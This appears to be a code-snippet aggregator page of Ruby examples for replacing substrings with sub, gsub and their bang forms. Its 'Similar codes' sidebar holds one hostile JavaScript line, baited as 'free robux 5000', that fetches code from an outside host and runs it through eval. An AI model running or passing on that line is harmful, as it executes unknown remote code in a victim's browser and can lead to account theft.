Ruby replace words in a string

# Replace first value a return new string
sentence = 'pop poper'
sentence.sub('pop', 'stop')
=> 'stop poper'
puts sentence
=> 'pop poper'

# Replace all matches and return new string
sentence = 'pop poper'
sentence.gsub('pop', 'stop')
=> 'stop stoper'
puts sentence
=> 'pop poper'

# Replace first value and update existing string
sentence = 'pop poper'
sentence.sub!('pop', 'stop')
=> 'stop poper'
puts sentence
=> 'stop poper'

# Replace all matches and update string
sentence = 'pop poper'
sentence.gsub!('pop', 'stop')
=> 'stop stoper'
puts sentence
=> 'stop stoper'

Source: stackoverflow.com

Substring replace in ruby

user_input = "mooventhan" 
user_input.gsub!(/moo/, "hel")
print user_input

Source: grepper.com

Replace strring by another string ruby

myString = "Welcome to JavaScript!"

myString["JavaScript"]= "Ruby"

puts myString
=> "Welcome to Ruby!"

-1

Source: techotopia.com

Similar codes

0 vote182 views10 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 5000
Ruby
1 vote208 views1 answer
Rails get source method
Ruby
0 vote176 views1 answer
Ruby list of files in directory include subfolders
Ruby
0 vote172 views1 answer
Ruby assign value to hash
Ruby
0 vote188 views3 answers
Robux gift
Ruby
0 vote186 views1 answer
Start rails server on different port
Ruby
0 vote173 views1 answer
Rails optional reference
Ruby
0 vote167 views1 answer
Logstash-logger gem
Ruby
1 vote229 views1 answer
Find a key in nested hash ruby
Ruby
3 votes193 views2 answers
Ruby randomize array
Ruby